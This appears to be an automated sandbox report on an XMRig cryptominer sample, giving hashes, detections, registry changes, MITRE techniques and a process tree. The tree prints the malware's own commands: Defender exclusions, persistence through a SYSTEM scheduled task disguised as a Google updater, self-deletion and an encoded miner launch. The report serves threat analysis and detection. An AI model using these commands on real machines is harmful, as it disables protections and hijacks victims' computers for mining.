xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1799s
max time network
1790s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
06/06/2024, 09:32

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General

Target

qM5GMXBk6hJE6Y5e (18).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2012 created 3532	2012	qM5GMXBk6hJE6Y5e (18).exe	56
PID 2012 created 3532	2012	qM5GMXBk6hJE6Y5e (18).exe	56
PID 2012 created 3532	2012	qM5GMXBk6hJE6Y5e (18).exe	56
PID 2012 created 3532	2012	qM5GMXBk6hJE6Y5e (18).exe	56
PID 3600 created 3532	3600	updater.exe	56
PID 3600 created 3532	3600	updater.exe	56
PID 3600 created 3532	3600	updater.exe	56
PID 3600 created 3532	3600	updater.exe	56
PID 3600 created 3532	3600	updater.exe	56

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral8/memory/752-110-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-112-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-114-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-115-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-117-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-119-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-121-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-123-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-125-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-127-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-129-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-131-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-133-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-135-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-137-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-139-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-141-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-143-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-145-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-147-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-149-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-151-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-153-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-155-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-157-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-159-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-161-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-163-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-165-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig
behavioral8/memory/752-167-0x00007FF685C90000-0x00007FF686484000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2828	powershell.exe
2272	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3600	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral8/memory/752-107-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-110-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-112-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-114-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-115-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-117-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-119-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-121-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-123-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-125-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-127-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-129-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-131-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-133-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-135-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-137-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-139-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-141-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-143-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-145-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-147-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-149-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-151-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-153-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-155-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-157-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-159-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-161-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-163-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-165-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx
behavioral8/memory/752-167-0x00007FF685C90000-0x00007FF686484000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3600 set thread context of 3172	3600	updater.exe	104
PID 3600 set thread context of 752	3600	updater.exe	110

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (18).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4928	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2012	qM5GMXBk6hJE6Y5e (18).exe
2012	qM5GMXBk6hJE6Y5e (18).exe
2828	powershell.exe
2828	powershell.exe
2012	qM5GMXBk6hJE6Y5e (18).exe
2012	qM5GMXBk6hJE6Y5e (18).exe
1292	powershell.exe
1292	powershell.exe
2012	qM5GMXBk6hJE6Y5e (18).exe
2012	qM5GMXBk6hJE6Y5e (18).exe
2012	qM5GMXBk6hJE6Y5e (18).exe
2012	qM5GMXBk6hJE6Y5e (18).exe
3876	powershell.exe
3876	powershell.exe
3600	updater.exe
3600	updater.exe
2272	powershell.exe
2272	powershell.exe
3600	updater.exe
3600	updater.exe
3060	powershell.exe
3060	powershell.exe
3600	updater.exe
3600	updater.exe
3600	updater.exe
3600	updater.exe
3172	conhost.exe
3172	conhost.exe
3600	updater.exe
3600	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeIncreaseQuotaPrivilege	1292	powershell.exe
Token: SeSecurityPrivilege	1292	powershell.exe
Token: SeTakeOwnershipPrivilege	1292	powershell.exe
Token: SeLoadDriverPrivilege	1292	powershell.exe
Token: SeSystemProfilePrivilege	1292	powershell.exe
Token: SeSystemtimePrivilege	1292	powershell.exe
Token: SeProfSingleProcessPrivilege	1292	powershell.exe
Token: SeIncBasePriorityPrivilege	1292	powershell.exe
Token: SeCreatePagefilePrivilege	1292	powershell.exe
Token: SeBackupPrivilege	1292	powershell.exe
Token: SeRestorePrivilege	1292	powershell.exe
Token: SeShutdownPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeSystemEnvironmentPrivilege	1292	powershell.exe
Token: SeRemoteShutdownPrivilege	1292	powershell.exe
Token: SeUndockPrivilege	1292	powershell.exe
Token: SeManageVolumePrivilege	1292	powershell.exe
Token: 33	1292	powershell.exe
Token: 34	1292	powershell.exe
Token: 35	1292	powershell.exe
Token: 36	1292	powershell.exe
Token: SeIncreaseQuotaPrivilege	1292	powershell.exe
Token: SeSecurityPrivilege	1292	powershell.exe
Token: SeTakeOwnershipPrivilege	1292	powershell.exe
Token: SeLoadDriverPrivilege	1292	powershell.exe
Token: SeSystemProfilePrivilege	1292	powershell.exe
Token: SeSystemtimePrivilege	1292	powershell.exe
Token: SeProfSingleProcessPrivilege	1292	powershell.exe
Token: SeIncBasePriorityPrivilege	1292	powershell.exe
Token: SeCreatePagefilePrivilege	1292	powershell.exe
Token: SeBackupPrivilege	1292	powershell.exe
Token: SeRestorePrivilege	1292	powershell.exe
Token: SeShutdownPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeSystemEnvironmentPrivilege	1292	powershell.exe
Token: SeRemoteShutdownPrivilege	1292	powershell.exe
Token: SeUndockPrivilege	1292	powershell.exe
Token: SeManageVolumePrivilege	1292	powershell.exe
Token: 33	1292	powershell.exe
Token: 34	1292	powershell.exe
Token: 35	1292	powershell.exe
Token: 36	1292	powershell.exe
Token: SeIncreaseQuotaPrivilege	1292	powershell.exe
Token: SeSecurityPrivilege	1292	powershell.exe
Token: SeTakeOwnershipPrivilege	1292	powershell.exe
Token: SeLoadDriverPrivilege	1292	powershell.exe
Token: SeSystemProfilePrivilege	1292	powershell.exe
Token: SeSystemtimePrivilege	1292	powershell.exe
Token: SeProfSingleProcessPrivilege	1292	powershell.exe
Token: SeIncBasePriorityPrivilege	1292	powershell.exe
Token: SeCreatePagefilePrivilege	1292	powershell.exe
Token: SeBackupPrivilege	1292	powershell.exe
Token: SeRestorePrivilege	1292	powershell.exe
Token: SeShutdownPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeSystemEnvironmentPrivilege	1292	powershell.exe
Token: SeRemoteShutdownPrivilege	1292	powershell.exe
Token: SeUndockPrivilege	1292	powershell.exe
Token: SeManageVolumePrivilege	1292	powershell.exe
Token: 33	1292	powershell.exe
Token: 34	1292	powershell.exe
Token: 35	1292	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 2296	5096	cmd.exe	96
PID 5096 wrote to memory of 2296	5096	cmd.exe	96
PID 3876 wrote to memory of 4108	3876	powershell.exe	97
PID 3876 wrote to memory of 4108	3876	powershell.exe	97
PID 3600 wrote to memory of 3172	3600	updater.exe	104
PID 4828 wrote to memory of 4928	4828	cmd.exe	109
PID 4828 wrote to memory of 4928	4828	cmd.exe	109
PID 3600 wrote to memory of 752	3600	updater.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3532
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4108
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3060
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3172
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:4928
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:752

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

